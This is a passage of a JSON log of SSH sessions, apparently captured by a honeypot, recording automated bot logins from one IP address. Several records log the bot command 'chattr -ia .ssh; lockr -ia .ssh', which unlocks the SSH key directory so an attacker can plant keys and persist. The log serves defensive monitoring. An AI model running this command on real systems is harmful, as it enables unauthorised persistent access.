  "name": "eager-frosty-weasel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 52744,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:41:27.389409+00:00",
  "ended_at": "2026-08-27T05:41:28.730925+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "eacd46a3-b500-4724-a610-03801df61285",
  "name": "lawful-brazen-addax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 58812,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:41:25.411477+00:00",
  "ended_at": "2026-08-27T05:41:26.768627+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a41147b0-202e-43e5-9f3e-205428a8b2b4",
  "name": "lunar-sandy-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 42688,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 326,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:39:55.667521+00:00",
  "ended_at": "2026-08-27T05:39:57.381533+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2300
 },
 {
  "id": "ea841f85-2858-423f-8309-e6ba38e9b1c0",
  "name": "bold-umber-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 50058,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:39:29.156447+00:00",
  "ended_at": "2026-08-27T05:39:30.119417+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e51bc312-24b5-47f8-b6bf-880c1a0dab8a",
  "name": "crimson-hearty-anteater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 50042,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:39:26.708859+00:00",
  "ended_at": "2026-08-27T05:39:28.516276+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8c6bd2bf-d09d-425a-8a54-da7c84c6eb5e",
  "name": "wry-diligent-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 60366,
  "username": "albert",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 320,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:37:49.360758+00:00",
  "ended_at": "2026-08-27T05:37:51.088097+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "7bb7b546-885a-4e4c-ad42-1dad4d1cd871",
  "name": "candid-eager-wheatear",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 60392,
  "username": "albert",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:37:25.858171+00:00",
  "ended_at": "2026-08-27T05:37:27.328825+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4c5eb368-662d-478d-8c0d-a4478890079f",
  "name": "gleaming-peaty-shearwater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 60382,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:37:24.016332+00:00",
  "ended_at": "2026-08-27T05:37:25.249265+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8748a154-f78f-4b6f-a99e-fd7766247cef",
  "name": "civil-chilly-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 57024,
  "username": "user1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 320,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:35:51.369794+00:00",
  "ended_at": "2026-08-27T05:35:53.046591+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2248
 },
 {
  "id": "48cb289f-1a98-498f-9c46-23f001bbcfcb",
  "name": "fickle-prairie-macaw",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 57040,
  "username": "user1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:35:35.331355+00:00",
  "ended_at": "2026-08-27T05:35:36.227590+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4a993c24-4778-4101-925d-9384c3de1d3c",
  "name": "austere-mossy-civet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 57038,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:35:33.222613+00:00",
  "ended_at": "2026-08-27T05:35:34.722181+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5051a227-a361-4f9d-87af-aec86904a535",
  "name": "gnarled-glassy-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 38680,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 332,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:33:51.635172+00:00",
  "ended_at": "2026-08-27T05:33:53.597740+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2300
 },
 {
  "id": "a1a3dfdb-ff33-40ac-9dfc-3b539e7dd4d4",
  "name": "breezy-vigilant-raven",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 41660,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:33:36.989308+00:00",
  "ended_at": "2026-08-27T05:33:37.954507+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2407df72-502e-4942-aa5b-7d876ccab28a",
  "name": "jaunty-loyal-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 38688,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:33:35.719996+00:00",
  "ended_at": "2026-08-27T05:33:36.365258+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "73e31b22-0e57-47e8-8e1a-78697170d57e",
  "name": "jovial-sturdy-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 46184,
  "username": "f",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 323,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:31:55.971028+00:00",
  "ended_at": "2026-08-27T05:31:57.647501+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2240
 },
 {
  "id": "97c77e9c-71ea-4c64-854b-b63b000dc1e2",
  "name": "ginger-flinty-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 46200,
  "username": "f",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:31:39.962712+00:00",
  "ended_at": "2026-08-27T05:31:41.576293+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "223a2f04-4b18-4c8d-bc00-b776b082dfb6",
  "name": "tangled-blithe-blackbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 46186,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:31:38.245635+00:00",
  "ended_at": "2026-08-27T05:31:39.304490+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "81381a86-19b8-4448-9172-d584b743fa7b",
  "name": "bronzed-russet-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 37166,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 316,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:29:57.271815+00:00",
  "ended_at": "2026-08-27T05:29:58.450742+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "88b12546-ef68-4240-b473-86b54d3ca22c",
  "name": "hushed-graceful-grouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 37192,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:29:41.602087+00:00",
  "ended_at": "2026-08-27T05:29:43.448754+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "94a0e83a-04ca-434c-9cd3-0c7cd729e663",
  "name": "craggy-plush-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 37182,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:29:40.328031+00:00",
  "ended_at": "2026-08-27T05:29:40.967066+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "71c78d73-7759-4327-9c61-945c7b6a8aba",
  "name": "daring-dapper-falcon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 34888,
  "username": "penis",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 322,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:28:01.495898+00:00",
  "ended_at": "2026-08-27T05:28:03.406546+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2252
 },
 {
  "id": "2b9e47cd-fcb1-4ad5-bdea-bf713fca373b",
  "name": "umber-graceful-alpaca",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 44778,
  "username": "penis",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:27:47.016102+00:00",
  "ended_at": "2026-08-27T05:27:48.054307+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ce98eae9-f829-4b8c-a98e-1e966f6b44e1",
  "name": "coastal-gloomy-dotterel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 34904,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:27:45.753357+00:00",
  "ended_at": "2026-08-27T05:27:46.400501+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b0a180a8-18a9-40e2-a335-e1a032c0f286",
  "name": "seaward-candid-cassowary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 53644,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 313,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:25:48.520057+00:00",
  "ended_at": "2026-08-27T05:25:50.639940+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "cd142c98-1ff3-4b01-bf57-3fc0acf77da6",
  "name": "graceful-sooty-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 53674,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:25:33.917097+00:00",
  "ended_at": "2026-08-27T05:25:35.200009+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ab460ad9-731f-4600-832b-16c2be840ed7",
  "name": "ivory-solemn-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 53664,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:25:31.965907+00:00",
  "ended_at": "2026-08-27T05:25:33.302022+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "61a90769-d1d3-49b9-b13a-2b1f593dfb1a",
  "name": "cosmic-tidal-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 51752,
  "username": "sanjay",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 309,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:23:37.119701+00:00",
  "ended_at": "2026-08-27T05:23:38.045053+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2257
 },
 {
  "id": "685b47ea-1f1c-4c8f-9f7c-1663bf29049a",
  "name": "quartz-balmy-oryx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 51780,
  "username": "sanjay",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:23:21.809709+00:00",
  "ended_at": "2026-08-27T05:23:23.638042+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ee661b86-6b0f-4fc9-95ad-857c0f66d7f5",
  "name": "marbled-valiant-gecko",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 51764,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:23:19.608792+00:00",
  "ended_at": "2026-08-27T05:23:21.192851+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e5574279-3724-4e92-ba39-eab1e8dc9035",
  "name": "valiant-tawny-tinamou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 48054,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 322,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:21:36.906836+00:00",
  "ended_at": "2026-08-27T05:21:38.907844+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "7659422e-f6f9-456a-919a-7ba1c22760ec",
  "name": "shifting-cobalt-reindeer",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 48064,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:21:14.341900+00:00",
  "ended_at": "2026-08-27T05:21:15.048277+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b8e34c9f-27a0-4075-9bbd-4aad3d00bcc8",
  "name": "amber-thawing-harrier",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 48060,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:21:12.200604+00:00",
  "ended_at": "2026-08-27T05:21:13.729666+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f157b3ed-5a6b-47d8-a155-d1f9a5950881",
  "name": "knotted-umber-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 51482,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 323,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:19:33.158493+00:00",
  "ended_at": "2026-08-27T05:19:34.654119+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "4e98db0b-4f56-4f24-986d-29ed17b89215",
  "name": "solemn-austere-gerbil",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 45748,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:19:06.585146+00:00",
  "ended_at": "2026-08-27T05:19:08.014588+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7668aa4d-c722-480b-bc6e-5fb8576abb3b",
  "name": "verdant-supple-cassowary",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 51488,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:19:04.586005+00:00",
  "ended_at": "2026-08-27T05:19:05.939152+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c1b85829-221e-438c-b29b-5130ef5bb391",
  "name": "brave-fabled-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 37004,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 307,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:17:34.629781+00:00",
  "ended_at": "2026-08-27T05:17:36.277194+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "87329ad8-7e4f-410e-9ea2-1456d75a884d",
  "name": "crystal-upland-manatee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 52680,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:17:07.814190+00:00",
  "ended_at": "2026-08-27T05:17:09.209022+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "799b8816-7a40-4d8f-9a8f-4190aa1b8a0b",
  "name": "watchful-cunning-shearwater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 37012,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:17:05.915136+00:00",
  "ended_at": "2026-08-27T05:17:07.203489+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "42c210ed-e913-4c0c-97db-e37a7652d4ca",
  "name": "marine-deft-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 36426,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 322,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:15:29.696246+00:00",
  "ended_at": "2026-08-27T05:15:31.302382+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "0d522f30-4908-413c-ad71-4a2cfca16422",
  "name": "merry-ruddy-manatee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 36448,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:15:11.365487+00:00",
  "ended_at": "2026-08-27T05:15:11.988123+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0e1c16f5-b5db-497f-84ae-fad8d0cf959b",
  "name": "diligent-stoic-redstart",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 36442,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:15:09.667037+00:00",
  "ended_at": "2026-08-27T05:15:10.748008+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ebbba6e9-486d-4d7b-b56e-70f766572656",
  "name": "vigilant-gleaming-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 33530,
  "username": "debian",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 319,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:13:29.602717+00:00",
  "ended_at": "2026-08-27T05:13:31.749725+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2255
 },
 {
  "id": "9eaa651b-7117-4cab-b389-4d862220c759",
  "name": "breezy-quartz-petrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 33548,
  "username": "debian",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:13:14.298170+00:00",
  "ended_at": "2026-08-27T05:13:15.384696+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c1fc3444-96e4-4e9f-a504-9b6190b5a979",
  "name": "weathered-ancient-ouzel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 33540,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:13:12.657486+00:00",
  "ended_at": "2026-08-27T05:13:13.632367+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "54797db9-35cd-4ca4-9cb6-71d62cdaf86f",
  "name": "airy-tangled-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 42096,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 332,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:11:33.479653+00:00",
  "ended_at": "2026-08-27T05:11:34.974885+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "c44ddadf-ce45-4073-bf19-d557ce81aa4d",
  "name": "gloomy-wiry-manatee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 46956,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:11:18.185574+00:00",
  "ended_at": "2026-08-27T05:11:20.144787+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a2e3b358-1c6d-429a-b707-87c8e7525523",
  "name": "genial-ginger-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 46952,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:11:16.796509+00:00",
  "ended_at": "2026-08-27T05:11:17.564819+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a29c6c7a-0f36-4218-847d-a12fca09a8c8",
  "name": "sandy-gallant-bowerbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 41764,
  "username": "toto",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 308,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:09:39.125729+00:00",
  "ended_at": "2026-08-27T05:09:40.368070+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2255
 },
 {
  "id": "ff98decd-e26b-49d3-938d-191c0d58948f",
  "name": "deft-eager-turnstone",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 41788,
  "username": "toto",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:09:24.394806+00:00",
  "ended_at": "2026-08-27T05:09:25.725888+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8eb0c295-39e4-4bfe-b6a1-9cdeb244a04d",
  "name": "fierce-fringed-albatross",
  "protocol": "ssh",
  "channel_kind": null,
